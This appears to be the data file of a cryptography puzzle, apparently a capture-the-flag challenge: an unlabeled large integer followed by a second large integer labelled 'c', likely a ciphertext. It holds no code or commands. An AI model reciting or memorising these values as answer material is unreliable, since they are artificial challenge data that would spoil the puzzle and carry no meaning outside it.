41383722968564596438321087951947584324001744218270620369769444142568785942681535539732351004193576839347081847584917461850551175218647925411154916121705125510779818031447201543799004731899827709125597623692123267460414344068328010510972415262476614921841524805938997362458293367676498901565680388581485408160537539970218397105306624165611733321691634116330614795868413291938911859611420658384800361685150055069736607269153491772254098171874177775628046793224004564538308833046468242286427616503553764856372121708877804871505498792315477207076132500776118294296455899782009004057066706254028438194411407467623034054565095758302171203721530336666942660455443032878887073302447037398453611688643675535037442320497147531579114818192706849082102751637120069000782108011319148909700919416078902604230295656556661890275569417066042694660109130830742996778667609358195030471087411082706782500006326703437355962972440554341947192427494659059944321735642983745431508437941672439957639434404071018159078872815927304295299526257639632781497402589473947067734637538741282706559854862931721806555855799969530912229098395977416840370257737013115046860843244517347049470498680571233785533713322691974740465977775949149571323305889421786367011392091909199623954719493526894290470017914671602964895254851910330898547485830189284069086496355429234142853846599567335698769142331503956188484406228214125241960652206056558581456093010481911412779225220487829527056343782650062444417383056133710117352672292824859586470519698749024719330439556484526987834090069055752351790015566163240295798397478143893749635396365531638224518098458937000625340843272089311461375525714622756683290116793863583179221824437413604127078739729759268909120884607242648946100950205348552211772872009310727290825905113070970829727475363701047985670276602854037723124600694005221828839343180122445418805341756857135634317426372502941382467295777232190002999127981705926614965386635603875595469596730822873491699489269648569419651528712198082965414421539707462118166089686478637257324332473501221230012202645599440868360989024725218007722508886664337433965124804967279677823624196035507001803066292525827491240847366540282889363142257021810716248445302098099687195758898264452372330601702112685426084675381380978452002984893280848840631895116894347540049991907080083081810033780469511394061791618103743579737984094292454964365617388614973824775000263104051825868658510093387814201881945569559413344360835092676331453179970937214137118233719891769281308274602052716734517209213123984182645455441775980764650996778664634848814708552736696360731856644189518934886256094630675598587479184346178161599060610626361796937024574912318165039945937880128286884653433025240055730911549316814357417561538501904261777984550727028762244764419164032095476806081639632615903256067368186808346056478205149393837766273265799333246134003332204668784571517183321179292670031048530160412353751862063189346642013075403279702843089592251514345505747612493430720825299076170487486700747726650202533957069209355607370516302908860119547632817095223599387203017257129608702377960120625900391014142062261143173420090724056006425663458657817158528008317566050542947619799011771622088687255232494670977731021817026102209531874305841639283382382178093476373737592744980722659529984347391509108476082120200373254829864795416483503266442735740349402446096814910512997294664304950338722496799789827397565403875320388269543564591414226054313694062213070688110897910612421289207903313210113020754373340285586231076977911314538330473752273480208279607540400198132274838081728501596042668642412243154508349397678801040207856809101698663479252265302191129220186627527914006166277572455396512010903184015782110618300600963672009675562354464532096832792138721021558038328967605787227441803749272350324162625922391433671089552917689431916445332044625616767039921157937207295166330008995846355994250434215568620899633279918156812398036195790762543301120443695520700719244286476078473982220596946970062380110043304166484746618406865854552061541116143563416233838879179059755832457103317379656820188550172997190533316526715053635181321747534286629354667936308277709393031330848004770159364297438053976030147394182426873304594824921611897270993459012182104984928645365320829289464975778330430060535963441898160521810117687778316951332857418697843075061277154952137391431821232293744507994732967441755740215933416718621043024747409026653502429395249478898183308787970661203186983667395755028503809506429650008313274165238723135814273769105530042983040914159437299359588597882331312730600554622008675100000910792521893236048208576370899691668758816738968709794625710875768170724332661444617776042406087529132374810794109518752119809692776825231198935008378655749369268946711186907780239164390873606934524883820240580346663195012204931612596066821021151741722231918111079426344927929229361627885901405188208965658280153710342387426212221991801497652869290635149000497423669327996901798924703290802994448630103263138927483942127073682012504005810164500748933514906859985181196768798689347376984394139287598307877514250989749326891748284890979843058058446922562595633445315343569956482789087243007285348083258953713872300659935989059347734444944374860009437248938331931460218624495161904321609141768995962264725904533820283960532038596238529364277858903068291376231262802275597196786444418889341528742094162282948925910519612348772213689194385283848736010380745103684011998912012969706937506199256672132891130650866136125066107149660868051730938237417132739839384941266691931983668744024320458435262726420896755195459932678174103577584052905029410739022535798043617164557463245917495514247182691659454859900588571308656556298151690738859058780636641930582816660784642214393063518591349492502898722783458456730905232286800542270101133432083499806120718957742326838407407066246954977705756464007826585941756455878097481938216602742788290982906305160502562126855846524459300113448738181457630020803171994961022695684415788641723383939907415297445167287997269835845095267540349897370553912379028028574833523274312509440355924432410387229940452611676060656046157644221848368753107892598545700260501076750722583525752967535481747387143719335743444932753828206729561190921820203715115825783687916515177101725089497541047605125783667731054432539143688100474491427769854348360919785525354814232058887984002737136090323256841693362516562264412485917180173783258078489910298906305410888289071073800978271527407855411846550853420272975175096906186670237746745144592299765141859256155101243545443955241120852265156570353735339670336771627423170064045245625325579287538718334180140241641982846861816886039251676957826955068645028926087334933854832900977245189722363472135014084960691973198580956272404265519178110463014352513862235850979334149365607130593709696197775060743682131581658132613358395881608215519506914231748782801261363619097863969869329039860557808036223664452050234846373910624350855869124643504619598388671875 c = 52505750773507234290174144875039206026182743735659285827935631867631287416041857770155262659312757970210623715089962138506741257589034628319487068764583942098417599303347089728841144407004618273722706137184814042182203259879667546625124860626938670983932219741088859805802058266677054834550553396136759442936331521045755075246012963333002701686042412067223374839266305587467766042965325123519357223600083142174059712808137984329405215013717859797015741953459012546952630170017439882960965776765187831424719249335764093977241011313130124298191966286619532331643109424336567382280569279911676469479664167950075592571278305756654382972564703137453890888701094924335958723065768622668756547437217644398324586256503400752815345921023000508311624777055401972402162840420799827177225770524050185173289493300623239658257321118383199705772497593962333611151024377080640322590140201231942447024838393843310232441376145755946281302411186046243222850375078131607895627704252032480034764852063008938579173255585691230980961509869372483524590888197652192898901868237385691870803776865672302627589026288390596747319621880157969098704770320226584091248707949925659994958604928616155332843141674113118674765782848715690114703515423112535707776951245881445948015375683684790555463478320400042666628869832759744645409731567546291410154164464971130687917792018848131625668302636853946859752611846691851857400887953799432581127568884284373663406766223850102655834324348310786242724381445445058564945758635100120215921047417912378853530482035987308611044399032791577725108155477765841063914322053977933797093306171451693156249403937869928729967357204879029835645326423484516061760787281244804936165409929720252453945838234102585729052854829180144543855174244924363204785188440140602417790811218319974829220152734313880822061985016836844536470420768695930385484071037973751107292817474996954524509166564674986334901290604424504205771031524274562270151806286688625217752326575288849428780374805823331540566104768808710122338428507806888817052102019243264397201485226527935492376560966757259172263302440872590419842634815919922977824940899709330725330657811268551116030065429169194353056452438544585490541906263708199155865717301281748893786044743769956910553732007308918120524955600022499747144872546154632145827934684741267430093869095488724591186703387146633512460846602993526767212234253026040011273166565690077691162804839275938372500997590782095335575142683649724423529911749336279975124126139609940637785126159555989813933377731940022918227613693559412868488704441586852847568692777050370615482314818963728399606838449722128517662709324992753832288828080040446786569715112044735758471787995972149019158936491092503025498045165654901850191229099659269997190604370867973110877165121227195454433423753636145881189800715068386784246003303104595530609459282250611511918451120580006682144331762792378811538754211611370805492508787161756389542265022043426522311324016275524096645996617679475812757639102757554433574982291745216484846375250298585049549727024214701797493866121981598176811934188168637290754336968578697833956660381120503556797095299841684197746478814004228169821392950597411050939323078803468833869763317233734677614148636525680195150267506146003389013355939030738793280211950051675908138264137230970323606716222818933287091539714877118542940020241580023370523921008348774970124275339758074514691790440972926277571756955268000326847714932900702162363536109624715540797894246246631938824117243654956998688377128126213743640422281842914689138801427225054688704312411726138527628941384997694341094268749488340538082966900086954290953780198239499518851811370074360177596144628825941486038973421330346263143787289815134995171817854975211807147380146973154770762934015469535615864942741888398350303951597744362248412140072029517024226028207537651706975648465327591589067215933409515374663462125194696166241376784626142556582721863289669445868630432387158492750998252775937853335462197645673711340440648189907050060596222894928150256143822161813048131711322880011706658474032057401472527091533275327775000253388515518900510194439799909006028325318640513948026029498147496706975909613934181124661345447857358640905088627300827620963780542713467432839188520059241150210769328458272693513747269404243688179674361313756944002008910259345523783817804341139640038545462011117544478620292882066230388427668452325986492637645207310262603717042189758502882425924913792703621163045375005721324932660776640705220532365488641499145268067928506697447801968739055474386644677020729934174856395545095386934393422199496433169025939397163191615722062135174199624331220580005575988067475806805715023935109087277497382799187631808575860000315927872070385668662841727912912662512738080876410319291705258420528414169992982160248641604801310590177305928243004190554474761511182531131962231560930692943188265260234421849902570482427855810213288274366013249303156517663920611199292014374098206623001042921660668119689371564767160051973384122185559012451584194132990784293233006394180590051988674060472635901826659848903897396111289070980870714703065799928266333639934028857650378618797185638006053440003891939138521240467667570888314854732430085937507018621873389447950166147669667221841857162495259236435903402419740431351873086013085690043252827349349554581294654098333427813325438870656805279644172724839242354800946355375317407770795765159218390545492909631164376691320750576135600834912696776921206856865771662285849153112117797577072927795770465953162185171308181975022473164083166479990998749787266715925226569173334471785894056371108721183455155848987870645095145912416683239753504037660901153337656543790742038988610270436069820221096246010771848280003958352648470765410128204991149245599060787209318442293204724311833656789862148306355356916248864819770290138981054037432906036169646075530813971060133519388880499645267366287917204573489639126521131047384330460353842394208401159062157328758593405730765528503925258503242824097395819976040025994032932524478700736974310724848510628331536713966528790939136284459204077801913268414990100798745249970851314814689041827350504855570412546459367357967178380703210988801274947323816455824494973288855537782427016959408856594231385485463332204867815746898864281043638700022498178018109762369405831214817945560939590790891291845653356126376946573689245103543336795256333017547169756491167173638006098950133162259972663139544202127317829506480010436564028351115546980156888834007386318566697222531831243988952832368751820931804464629435116665743074605704031141322032428698874983812279058026694094499414775839382764704035496432236870369203166088437430290251817114953483535211122850409953096468756274414681718682430381799077318615347559882765222463376953212115867803017040910131792783765591408162239889045092626900314428395218469881647607710641894367478896067292028025956949178888992236385378548685664618825029149169751401216114389513048370501694176876147488019280800086842882550931452012398489334852284476412191213682920249386398529022359711589071971870085382693725425191247703188952753922471724436412238506944361549789934455825460105055559340118944141308720960209484428562174148693579111884182360386444816151829813413519764068637189785647366781782655231972528607600451549160458482839202994993785113072158261983187223510071904752683887496730646632791793212916406510467944710812328714664839540883320771626239732455970810259985004875262228480769140234748021871148223547845877203427915093691504129842369055874735790434869101495217402550818843487923899877701239490532960409307856575706988955673213773450646556176453594772228946031226990328608907293306320913767402621077504286978227569656265352000510538826787966282974848044030806579520946897489669992865278046763453292652633456702558529809827168404838210384530362579769169317536012954920657448674340826797523620391631909287941102704528162141166942380153231529706140633709151663349911348248825439676233822458697972681149786297670419322838157994595770926083939180456052943883040905452599202489245579761153674639513695730962833002817968598416058560610485032811094467950958549720658606395771404963047430902784225684238925116207773311073686073270135529128732278988279002935817416567658942769780561976807877442759673940935912591561957739502916714473207607477083897080419016647872931314382329674625945544246514166501619291098723637053397837813395451617720659360130531309157539827796048591372140029913260660686644724560019653510464132246725678637046364976506600582986434655682074121960551122725674446373249879626628368993288155970800308697613812203414188255478578391767698432243131830015035037619744627925523806412170620047243698661027832833692174391451418447390186293045556009539076610455524983343094760891653794729793020843535253032118164923410847890848826337814347306600899031114374790746284236264083087659648846064595649942481932837040542556595234792628644696723049580517715632274984507176331998072702614970620862138298070267179958221907561670944382398593582747424706216429560430498865787547587915242362051115303775256816594411444947086041945282566015388757854888599236118407924129638973033079863318554381486916968088018830734265151668358142257436449986877425859712340808925246164392812645530316530449164282165820802813820860881440116476571112274583593614049100612337659588138018626548301997563350081428736364580977728153786778644551419032904093314902624661978980006872597173572621613336318385653990543214933696978456808679316245789310833849542777501417990789325628101560565652290349541730854969424391716306793186544434729623431864468555210767077202086228182765263183527466870170321112138330110769531768919617768394039901359339271180247899307454712417207733787806766275631105897088723886868773545268375776785134439054859584620878872177956192690466681644967081553104824330605522743614624061128536549193406325443816257383203722919603762943206560198813684736368901840432860521860369872558074435563373898968142207446663103724354057396301484593112767831835250399348886337592959293584031223062718965435927992990914163951318632756965094619417861051235055400686182443870108498583897489276152028733281126717711512349412445568785232917265093331620181152095702611218198632913269686031292310623229852484551134811860978376755995282793268581047148110538715465346209219618190063200107877912381399811501795955913302528824174585246460090490128477217988934572139066064575866266682723541463007237865599416292329465154446158958040712838134697216540658144538416315979178976933096176375645776960740481017684793607770710147794724520357546709781634500219180477335552439666736791195101183929818740790813159855946582211624166796754984318396454089149849280783941327706497124700762956906137494392320081791404287423309779563847709937852848824988239455990891173025195810113696432648631541188059342301207998786228082347197425706106983014553821317705063410705863974471866897935222326673872896540025538807354012394926865309661233729915711479508121757469150280433529295997664751556241985750164944533980238367680824683899569165754896502856752284700357514727836612689367450748939142421849019774958507174028766804944089949501619422267636078560490905167070513037236950977677733023283003057824579698744639251859797616771128683879918574275962885725089349511373881764705859295216263262448537419677714149037333260374902989859206277842158913967575406289247077136713615041697445679217712940822561754970200981990541133822124234816997138532769117731566805343347301538771375262258971565221613085844117752390288465763265580461171850451472175578000324132235645857535173711868879150140944912222805922658605447497918937341906114210071601663105161015312988758416027332671885407055320366464609823444714591365582355354540949308740011333480248599935939097561487468196603849207635656050215998038375070102750335474186941292527437784412258610606595747887730593352930385549855666694936960417646908784557583997608284819240315262773427095758527045963085424004296061063430142931753179828140438477659933233144304510582227315834824210867685652159468389511813388795054293464763311441499935009389828539924314400775389955505676372127046471472117556156366235016571506229008776922577010629767973667714839813191220979053081725000192788137329937087881240956431804138424941967814839959771047735930200260079908659110966502723646904223860849729973063421163447074976867176635522144101903007913222739961051942270569853049936449038809463885790265473203537172061497178580110158930090848353923401704494665880841604997683666514136142707192164953270371233775566133580160009188217662652446251547865556746738801070916820927581750539800807047065979292082875733564413179162733611491363284125701419664675998656096493980301813948058404786299685111666400426133448257735946630060998650865250846778302748085017829049630727886709280754020836864534078755928752295682571875036576099148685726908484010338701729522397843280754014236599655313290038011798852907906526330004891834535187690849996977402092763043504629203045538574895133129950894694271650953988846127755069974857589767853323553862025596994749239078499104625431169104966547731197449022013749482943558109109100819019115349088608906636478948175218045701036634514352688211738135300077433978584198539354456563620224634992171471307552865771972724262583211676602324107738745382594241096174931975156321175339115349457669912836004993343352275832642539712447674231664017317264049315691202032245520130857750231683331965268201919826522225382400990229623916336578081040581506151907164244095894185890396067503270759182513219488445043104523524123031853403070561536906845410873216899525868340903921564472496608002858187170411304265998835138786024033068323877661253270534443714122216845982249533083344345277562688775508614284983279915796694980961321238905120021847154583830841963387382856831611180019349622400885568664259328373208004671773408141552567783417874960848513384698339407926916683354298295692839611911112683639806067497507115642426909549798483440884211500204877265192295693506999703983211404707415678082134526892617525449882739292703591835165318060431045048037522391192907200187112755874919886494863086066840579600691965855562558217381496080837435666085018415539725427135093726560098078374224805054491213328503457664141494538439808724192082214564158585344986055164576053598490730189793647334381889713232287958269762704137195442835866940234662756319639751647863875354017467317614855918756576127541490624194934370455688314235421675047300212975144863632462869991224588543471231143279299368054039824433039962930993479158869239464342189599718862769788122113791777322919372878169388478060742870719703430827297243237235200360967314511447145244373798611492434625950491342760912754628182627372734666711926370074975822459437902011849207442004682546995509998880664165073035755233189632291604733891931281328968462729912751233364919453216273328121092838951959322835199570941612596491899222364900752109374692699563162934627640689847046514213010680291614572527454036389586938230680445044579577947378130385136306983096787618731272910430190520229297805947935377222880693872099655036302876017085407460635228693176041501360298143129486486158911895613756153918659046478820458474080167439259311081140694102699215328878140385632305295980128047241780023741287871463161887827986032408274550508945613608874195601597420651916610428304021024463699830401158193504338587595476944293766052395431869879107709018052750215544002088010080066118078520313664514986794526914101070092969705826363690031515634720614949204558123903961442108690992258949588816119262696981713797766728207039236615090037070183704543120004576797878623405684673785129115365272579716487209457972867334963799130290238009783947633404177844821691689465119413440957142550525327059661895455867032836554696044711292336234007443046094413430980078059944344485790533131652769294554321832993950919402267464194038028887379802124545403060862722566323797370801968927388947468030867395781471224959483867047083471161458549784395124900537716720530055958003233515717889386655413164210384963522841233261511851308272823620664043544048616378067273145545241266714330922871346424801201262943792695363189158019755292107238939879972282854139421802438653820976775777489303089135692767340804223444809693545497525607008902722975680203547003721526419907890489259724666514349361923593650884463232420345929554535750432818409208480778243480971711761037561201858721901639752135730694441170348918870230970776637573575309580124173668811420035073062493854219971722815461186019514435285716175722752403926207735884169982813233481057531006226475759155735430046698978486940413596855020522265654696309747417437948473123277168939329205582875008078324570328933369672008635744206660267929290354431562960787742752819948218749063794956899597388145768776535137099901743542078433817574015812972798998012101166853273365867447626201383319793328064433570735873606438789972303221915418277980149275612546211143100851509846874535357962507862630911793642693307923531332757524113176525098709992019741680946330507233408184270331641718663102934075287503123406533602980957836143725998073998453617990751350877672854104742660838709055808759189818337873219700980437880097258554921821927441994561968098186127465656348830117207681780552342188365851645475457360498514306335703961036956075380715057831902082468448650389687985104590794196884058423806479939476739166485638555346050827573216661917927676270668260529366311527245184643414116922411877536794719814582970635670956087373542628350076606502604772139967792281723841779659906156777765715303426142243847858475659135543883697294727752155848918488822473831371757311207589413106540508271433062377434968493642139825567750671233748293774928022623923690281951011047400314798908706105886460332801822803414396149805200960545304682297274782913942590771142882130733405943013071493415073341068195372267290385295266339247774899031156812657914832872254068260090876069563107791611541408973541630130348295153265811239507372398116609179660393042337617228414041642953864708717934758296510489191772536388779325603089804765522445064044375256838132357581233098868596931609186363091456059802126238335831852092686672375500310560384320270494071382465639822260151953766846839207282700868929877741329795399162377258477422722469808058301568184591897285998526053189685124104416030956073302104632966004697462093032225604556442759529309505464384836940054850571784174354101863226810968979484207561542959679581122790099196248485842780660600673494943975335228522357184561458305556599308118661459438436960680389834605176052567024460242947058619102045489243556337861986048353742042907056424311071770056065952788957086901385064387414695871087738007049703150268983650615150792724593257801590167562573267776780452301271072251632921959388183630831309976832622151060645254896859168033912450299561397866320721556285369510695081581883576901960004265971727299596657440282716835589079554423330470928969512395244139555696073653529814185175263537712490332152758591032301111892225725921770608812964243183231504147548916696290727068076753019587451904768333511527914693101610834004358900295826682270071008191717045199376728573164842753869412018769495384615685504265381717250929019396124896755352154139210929599054350850990145799858805242531445280675616405208126412327522050004255094525827593536972643205717213525064598194042083839313176727548787641182921605539423900375246794018801713572304311836311305829900734590758830339375445931167978195594493162251105167980706711768858805241763187068911796839108269903763406930447743262240874980164324554723722804718818263924890455138454157938148802051990694279212772494819293955636132879978071383576036434242206288209821989435802349769556302623458295388163304318860735862099419320493134005425740666498767401770459411037620386508477424313997848148327093946452484343082946272253889484327898993094906790865792757602146824393517917904151421576358456993319378794184118628892852076508206479004366165563954414910862469316342572238417554304826730623939134283596129148853543068270305368739266201929297836059014014723156135878328358202636894121281401285803067431355878717305852562545034375456714918903287303335291700634623285016624208966747023006877755430223807993854382625551948425464803216126946960135699636494919327041884331757967065948564534747796332175446081414464802501022398155318395427749255014914135858724537478530515878036161076108387732729854105464579555438296357414089448918071452612850196056070632615568750664609141032806661481010002046030478934158196815463766934068764316420698549390483822431542786137051976786516694864782453678253932583225410624427053866631818011585223963993464524573556202383815039091099133610863736669708721811567224360591533765411662868505727737351975820877141566306277802242022010570214004856511730959017002259307214849459176922215165966289531646909246487903337139020665424768628540221064491924714119017806173816780595069960635220675157297842577158157092498392728688204391572286865089793749281947989629597373084353334373356439096899777665828306420939383979379133858728093582206257949788381152228161797432776665439925940444045355624339103886027905153528568229469206376572967485528711008854248473529552472158715354048153830231355677898993299983338321911901373851823672861439685585748421522446705086086732827571267349969346575554140675568439751054138300275428337297482791225059193804399103010240114873610975951795718464371998270325990893423143396733384491578306829637535423198238163939967327413104159231571022491769837485485826771453448152198665136427725737860263738371990255122111687790457100685166612492775895965063472211586255570959614366487866411368213779955996341607604473886438362488753353816406083644809582268918395944466057851525880355633531499696287095426911565536811010343801640090416362747588410598591361375652885546735996300379505542414349377615414166668943575396684224558635367486006878183070013607445890869055942348285924235995819601821708655070449441021169803842347349274383659409672829650040642583065917005410043955402847921704560723489434367465482248383444137940665293070519369155876550734633763108580071306484214261321043216242164644662279359193757022898958211712394931761216016995752204685705373893976374703975443788949884910943266676898715947354471914901918540400341444006894739944738291347788320998218202892940761151536484602167377978809695459426336111483182986448981092899096225737987807190138087342691247010196821949759322525662068417989124643359471412343455579763932490253911186901247792108140390140282419583308706347906915558477400143218202356017689591879360227419951620600243550498734804835089891726030058131768044594976450112600080777048861503041886887283289055222469425633661935643179097630830775271009085593677431766253085487354507811979552860348078725377745092501674834022451143150907988510346162806652130181060665056557896138678474334303447248880518177344651349002836435584827789033072890322506034295866330479331567413739076195020189924057459172895637491872244841755331497427599485136840110517190126305109035911587434583856653429260752435046504483741963157327450111526734197258644018439605838572875337855318683531925746721793805136155549342983500726089204950337634370594102031166237027337716917948617134564462741303567514627816407614134789113924434855134658840403533657054386892552502990585815071962242376763003351227464127672453441223933298242567762532458986440487986927276535115637618433805345428110838334643146486493826934237090421474605317666461988054151425037660672256422971401155236296744700861500113880449566201708308064688907575758165778660519821003541992768839280515759595594673727609938047100911442063502846937957592152671786969525752330770233081218744999862019207903017349848626323875571601338318787618568748374879852806942072065188748229694102923906265556631111457864805831426497534139627298025076385675879667372358607764811238531716844945012696944068796422728058386892301052144153343925082363151596120459772731824226068545530216015764137135649164896456652117498142317391626203360982947647474668218768308552739871872619167724226664707541004690213866656171561644989123938131018874497702867977977089921281505190743603260363564962035576784152579018520728719364711534785167599406153341925333451957894972928838614564470042555272705744585915170332697495349946037896979391029561354767163767835462272996267099619343867148192496458290857213313044764044546120904250417199308842960057565404327264225415408296819428225473649148330580541433608815197340683715124035909333364140196117893973676844387122911463426112778367837075619211127951413451718656731481194301641093802687973510970398933332541348270300034091775994024350404027566748845946650356437105430918173962841314036698042396538834552856291529967663751478561542353403058618303709108788286324171394534374220224778685332582833828511898794696907935313141822640519689883624798254749146295233913792847016381717734170756555187749318710852509607360995801449844490182887461865467705964731438249219181772944533283606632263638143796779058897873386343462473635647847104068358786622278438944530420981379485391609054991486695640829554683062292541610314653839612480662352072389902176033238785581363054301372292637928840929845600319976269893730686951606172374349964352502064609481150576421340607595005412495635820399906413997488385826723829126195328125405492009367160897093354977853367699050001856151853953246416876146771637460814893605242032615795163948453693781836507350084705597920719686755959661121221320510216968173631368145663906732766612658692420918552599844804025497882081495510265813663956252774780558263319362394915635963916037791539280981166230622147360448599126872700404828213979810351103379332079547434302501555609452908036048838157243700190261302397178408486089804002084084258576782946421114738261102710093904406892909873444780458336006650532174726793820805881098930559927631855754534474313107719581634744745355178704977452879585228431372671279910007481533781339824470610668220435158194708970754487740246701135613473402342181201372544753204728537660313988117007823575914979777771329085694207460010188602854174192144736494418774910079170591720502749066170090895469527563761374101537616703443519299034996571984564197948476202437489099420924059153042681351870501204723511239564870218893304978818134428110414621189899712759026523733345962965772150802399860595902442655216100461116814662705306684442590406143027970248808961614207986948196505277695863050504957548717289573220721828827262715785357777433806582346241459143747617700902296510654572834017477703503193665572394640693629528753864445328845115441214156462033142589953805450925836986720360124991601631196600559587068974995815978759936559596841669579627812690640289030043879079977083062873457971614342168759286172793691130199009849798428058607369817793544196989545951608499359046282978608589552010270373215067657477322149637733318612915461877176037148986880076084099656874949453413739964481727494104203522053004557415289737590956889544851698363486604412220714062847837804466291845113062562021458645713002115377248586857670061846095068052472504299486457600067308027321076284641801580605859460074954884464379892540825466642138145458362022542255197256474048328329567388770735472975549330072456031961207942012432120353415221956543612612500705093416606172883889416560371061341792675246694017850019171792533067687495741221330755627771979770420668275424269302160901384297139212849759370490290228660608399000221276266996487045446025446023208709228695404785878954834457393196059985389521198069164632130593437283147107452434979159780818689444589462629854093465085007430467080044467527284992029902716424619546768443179618540771656317112847924301492247059608792178546972254213377987499862561831210277932416524306693177510079652254068105305843180447648706250916745341757365360968286439754291257303856314725887339380006536034830690201614495099367692546507781913891368154214143451933556467171938032783628062387006955318149778077880817456685791752775790152244961975828572352837883133108993817274845042102115503258168580532457096984005730040259279076938941555496138948756337391629968749310819229579135306845872617421059256055323423549454428036859009077743286620258104581325103020325649198686273401612185792940039119782280125902614813058983658456289264681064039660582004203953475321510975051045486207929035180194835797596681452391536812806041559708529123386027111385810319292966106268948651890360811426761257693686737504633715573180913136406292877958445278115088003127690913299535419499869144679752306931629769154533146647402734267835351218378456621887001212842177495836802866802284190965555609270698088515153940969692167020260760939223247826166756612938475315175672455666606268356916843121650902766586853424482892877623123161795366231925061551972243913075510273770957305347404589367175998235029892339695192792511717279767899569347599155925740842566467472663137658688027030776796837719087431594389651480845147444991618326228148496613445904729711564412762476056225711122804847318583436255714129332547327214500523386625857048584409537196330868034386585855152366805674054792114888288388223696913363165150137625224479706309508192423453732437905805629972917977291515706062350760355526486070930432427520204889679225840492685912821589899603739925824525218173438620478614339861533771565640673363802730813333828898690338297033495008720004430311222654670191439416366423776384646609924732572736707773522675709307128448620055700552841026867039024749013351720974151622326084499758610433210769340637428690730920577251390644232063225948022126605346494942207717887129299090230277213019631440274081766064161006180543048719020798143247786471924555433657967977066343809879708957298393403784357206139569636926701210504799563125858688991305610321860230133344398201698983514996957342520110142814746864122691503086256642768668224800913989617060839294208472959337544794812366863495915301791070899290042189638864089640502277296281360036388379292294027125427610644310459884544527920722664273487838264683289101083844873938302524664078277452841107229650107044531215671074262408421849689309506910683663115295661369321063748678876414323474393457999488924517130893272866518303484913205624909727691587764538431661507902304467454088839687935530047651476248725520452434553556453008070265958332642823237622828092589761875025863241435066711966099161447262646322356905851782668921459641616727269664890413935383531504480830392153771497850946990736410122162377430219114631097620211967063744750852776547935622023570414363193021895997672346957424823610469217328833646059542821583523393121426528454066860529758152081528735929059825767519585727819413096063102080348434001933903608893459225975884018620175281866807465302869593998986133002433576294135651263648914028833668375621278285933505722260608617175268777567297245410863108640994967775771808242862797623946800478724883169241676878536822088596705400010104133996703483156957812010366412016366041246957256089905902324259664380046628670951569304927121909957904674014197475880259169886349153591143295360147586350434606009616729862175005601125882999941696019170368526478056125723031735271882163291200617644370352921970219075434797624325065085112067951420988236878302543610274071113062771982724377974832314675841318010767323980810769989615292448082476696654038023259458346070599673706249805221396691697224314993704072832755999446362651215880402396656111910427246293998462494075947493555729394696793338762643606350287319627596730983378700351069247575877916885750499840419987560681376198974854406186822777915011284765059015247740110179615885907392179638370590925551781146512146620492344741309665721474499705049849571554011132030197432399655214358962037122785851402442945932206883529267085757553869423146839318093252775966180037919307715632327002370278905495120411783047652734773287441734974247104872551269535403313820802011905284417232979818572568047687256949398594537554392584188719640435476094405198489978985110654156895528955658063816018475540151556350811586567031283546453402578281344121178931807998266740053054682077881436960751842230535646790624476690720541807855881120270349750091820884595447242153427655276642091035468534835619787413328054538684128293175200216903307225495348873545039641412217945767731569214197686676019665015214570666033188508368346618573606841277440691663300701514746589883934286762977346381610966761011334960379406427955740417125016163003396343023519213184497453045907408478796294560142951594758416593603506097793358295661658573631445728486141057424666972850937718639202327032080644645095620999189481544431387523067594168852266405066414271333827972416761816212630502575416191666103917081533963873094093412678806258304131132827352721401578492097497810052262161282061177193193384336737930174673384846866633139237903314658239597916534469432736402092176270897051885565845557165677174930754833097904460463868857730847407562109258564588749026565936231866321109986713544403647242624033494096867192825732934262966064425650012566097869686529976039813711250077623765749627956509006425882707155358821312309155991041313676857295245612572153922910446538001766331323141796364344827886310581250428177533974823566538867566687031367095831054844692216631154602643818804890815945635698090015892274585889347491937270500849748895475084879953268861056222911367070097770862222806500504829495160700891683173483977029609201712631008532518649272203898031157746372998851123184495245602066326375099773341300388391671237412271150954233057195229659105468095764919544562082816314266446510714945592684092087080102908508194985620289938158665299544285278128699426926976822708694609690641086268862095055221538024603669600347060007453283695328595052062383716878830421016390305852775596767302247102664579913843759210612232245259075799228458681459242681454164465669431245576576713104361436005670119825528527592223940069324013272396184029955110236075826063560749019984160507957903022903931018700247750370769736136961633122507188329002273366374758734003202439673639086611732531872085084668487206728229175042504901621598936652807796920571445331382900533525107844501133764200809332433856546224823386057475933005637146355421452820673360783505068217789438795128911420512641601872964795263806025922109675093551511091790030005316729272200259217881742322869957482672836688662496095929015991485303659614083930959930622322649806554782509395815467077318094683789391703552311017306209189666534003849062181143783306944029723220267650253555246823546985781992356612837520044931608871185913345946863195305060333213475292692796311239163995525280716014065593460033142010354050114135671426397330596026244528807857156662122294068032181792625493919698328436712037228024743474479269937337809526680567248629761359594122800864666085790895211264295481276760666449004043060014378144950612234510253158066551371716460786569290801906639265421556548775005572888399336062641502628025981129196139077786647958235439952347946827227793200920773463928859291106031435587954554747201354892213241614597824093494688208897025078120589648835226369280362452951381260833893276072987186371492654877856662398280860288376446467376663517612316881449713632496341010383993275595357966616165881554636152180194255710420207321431385354689958423003746570162351173417177291460056951056833490557539994208619931487648015549300300148802960830882317986780928515980855724373550109511884288109242346663615799768918875960040855324381615797270211680397710745985337107234113869708954812981341689210529969788928177445643321190094584326463056621198216007659114338675935791421336385937044109456684221536552629375208172133904555587039072014254272050913030440411605464288048454686084321036718497871906274348752852586145588853180626495072373595485578062372705274714981190841650411502561385645571505960473628670851356369991302959316001050803212408441573475794352067582281773720843785702005030465860564475385168333943818882284267531614667177277672509302776189162956927359763637014985818141554603978418981071859088820170614558601056524416871086110032168783101420176149249771606797006438755951807707721215979172434446376405068246544687075280596761111579675729554157487048576843023743435018209295184907673549167386520565779099625083469221263625274206181127183361746134636856943631572369210854536721648815949114653384274370350773561299443744454072783111411669711468836999177240824959903671060714268758715267607612824727276178390229827016608084079442285410779605639820210638055141347858730599917416309178123511895782428254461528739528089814263056369405128234613016336541506478647991291958699830620649763476772266329006397188828602003874299269412015683436262345151690481422581323236312477020831649196415772589282634431473132362114282686327759987752347228020812706152773305320368222503181511503128460654501907593579413532008502100507311949026394827267164502552965888249510441543647553354165208904486715231170517600838573632776265724156087049262850165940361931933444694521497640002902939931933123778860262310154496237400645444081851796461268081303801222032537879416593369999540478224368835786613129380131013717778864086724974949576108512258594208491763384981833614613395845313378281216869849984928039274057466840615931732428222974864794960592370799763819393325967555685800425501905276046869173516764815969739682995436391701667350047290669516336854897048147980210160996723754506595931257139332724932098142031041412851084325022414244646152011782468812546080249102455120050708742166305812008266292924725839014540590293677727735997700378501751396855004942262975830564410353472644463807197064911079851549201769039650592563920282068737571920820553363468550719327606305574199845089980325020286479000256312516186033572499049709592339541046369614864625451969649070386793387634206316326748168898855034106642204724486332347441696874131344774650788995697136128686654146529971081068303661016149189294647801168088913847541308564992743728835052223483048380135529396555732725018525255845358749928528860280378242350588072278345555242635763905364696777159956317159713283584019819965093686757012436648426129045021952